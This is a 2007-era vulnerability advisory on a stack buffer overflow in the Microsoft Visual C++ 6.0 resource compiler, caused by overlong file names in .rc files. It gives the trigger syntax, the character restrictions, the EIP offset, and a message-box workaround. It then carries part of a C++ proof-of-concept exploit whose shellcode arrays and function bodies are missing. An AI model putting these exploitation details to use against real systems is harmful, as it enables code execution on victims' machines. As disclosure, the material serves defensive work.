Microsoft Visual C++ 6.0 is prone to stack based memory corruption vulnerability
during processing .RC resource files, caused by the lack of input data boundary check.
Microsoft Visual Studio 6.0 SP6
Remote code execution
An attacker must construct malformed .RC file and induce victim to
open it either as a part of attacker provided Visual Studio project
or as a standalone resource file component.
The stack based buffer overflow occurs in Microsoft Visual C++
MSDEV.EXE process within the resource compiler RCDLL.DLL module
while processing .rc resource files.
The problem lies in bad processing of the file name fields.
In the followinig example:
1 TYPELIB MOVEABLE PURE "FilePath01"
the FilePath01 string, if too long, will cause stack based overflow.
It is caused by the file name parsing procedure within the resource compiler
DLL, which checks for the validity of the file path.
It also excludes all characters codes below 20h, plus codes 22h and 2fh, thus
the payload has to be limited by this ASCII pool.
The EIP overwrite value offset relative to the beginning of the payload
(FilePath01 string) is not constant and depends from the OS enviroment.
For the Windows 2000 ENG SP4 it is equal 224 bytes counting from the beggining
of the FilePath01 string.
Also it should be mentioned that when the length of the string exceeds 259 bytes
the resource compiler parsing procedure enters infinite loop,
writing the FilePath01 string repeatidly up to the top of the process stack memory area,
then continues entering the heap area and destroying the process heap structure
and finally causes writing access violation exception.
There is a quick solution to avoid potential malicious attempts of
Before the resource compiler parsing procedure will cause the buffer overflow
through bad processing of the long file name string, it first monits user
with the message box that the file specified within
the .rc file does not exist.After either pressing OK or closing the message box
the stack corruption will occur.However if the user clicks EDIT, resource compiler
will abort and the MSDEV.EXE process will continue without any exception.
Therefore any suspicious looking / unknown source project files matching
the above pattern may be verified that way, before the official vendor patch
It must be considered that the attacks against the compilers are hard
to justify because it is often almost impossible for users to audit or even
understand every line of code in a project that they are ultimately going
to compile and execute anyway.
Therefore there is the same possibility for source code trojans and back doors
as for the file format buffer overflow driven attacks using malformed project files.
Finally, the most reasonable way to avoid this kind of attacks is to
prevent from opening and running as well as compiling unknown source codes or
project files, including for example appended to this advisory Proof of Concept
exploit (.cpp) source file, which actually looks more than suspiciously to me... ;-)
Vulnerability discovered and researched by: porkythepig
POC exploit by: porkythepig
email: porkythepig (at) anspi (dot) pl [email concealed]
Proof of Concept exploit has been appended to this report.
After compiled, it will produce .rc exploit file that should
spawn notepad process when opened in Microsoft Visual C++ 6.0 SP6.
Available exploit OS host enviroments are:
 Windows 2000 SP4 English
 Windows 2000 SP4 English with all the updates on 11.01.2007
It can be also found at:
// Microsoft Visual C++ 6.0 SP6 resource compiler buffer overflow
// vulnerability .rc resource files exploit
// vulnerability found / exploit built by porkythepig
#define STR01 "Microsoft Visual Studio 6.0 SP6 .rc PoC exploit by porkythepig"
#define DEF_SPAWNED_PROCESS "notepad.exe"
#define EXPL_SIZE 283
#define DEC_CODE 0xBC
#define DEC_CODE_OFFSET 0x2D
#define ENC_SIZE_OFFSET 0x3E
#define SHIFT 0x40
#define SHIFT_DEC_OFFSET 0x35
#define PROC_NAME_OFFSET 0x107
#define GETSTAR_OFFSET 0x11
#define CREPRO_OFFSET 0x6d
#define GETWINDIR_OFFSET 0x25
#define ESPSUB_OFFSET 0x08
#define FNAMSHIFT_OFFSET 0x02
unsigned int getStarInf;
unsigned int crePro;
unsigned int getWinDir;
unsigned int jmpEspPtr;
unsigned char decoder=
unsigned char shlCode=
unsigned char jmp1Seq=
unsigned char jmp0Seq=
unsigned char espSub0=0x4e;
unsigned char espSub1=0x5c;
unsigned char fnamShift0=0x0e;
unsigned char fnamShift1=0x1c;
unsigned char retOffset1=0xe7;
unsigned char retOffset0=0xf5;
unsigned char jmp1Offset=0xeb;
unsigned char jmp0Offset=0xf0;
unsigned short back3=0xf5eb;
unsigned char back3Offs=0xf9;
unsigned char buf0[EXPL_SIZE];
unsigned char espSub;
unsigned char fnamShift;
unsigned char *jmpSeq;
unsigned char retOffset;
unsigned char jmpOffset;
int Encode(unsigned char *destBuf, unsigned char *srcBuf, int srcSize)
ptr+=sprintf((char*)buf0,"1 TYPELIB MOVEABLE PURE "");
printf("Exploit buffer compiledn");
printf("Cannot open file for writingn");
printf("Output .rc file [ %s ] built successfullyn",outName);
void ProcessInput(int argc, char* argv)
printf("nMicrosoft Visual Studio 6 .rc resource files exploitn");
printf("Vulnerability found & exploit built by porkythepign");
printf("Syntax: exploit.exe os outNamen");
printf("[os] host OS, possible choices:n");
printf(" 0 Windows 2000 SP4 Englishn");
printf(" 1 Windows 2000 SP4 English all updates on day 11.01.2007n");
printf("[outName] output .rc exploit file namen");
int main(int argc, char* argv)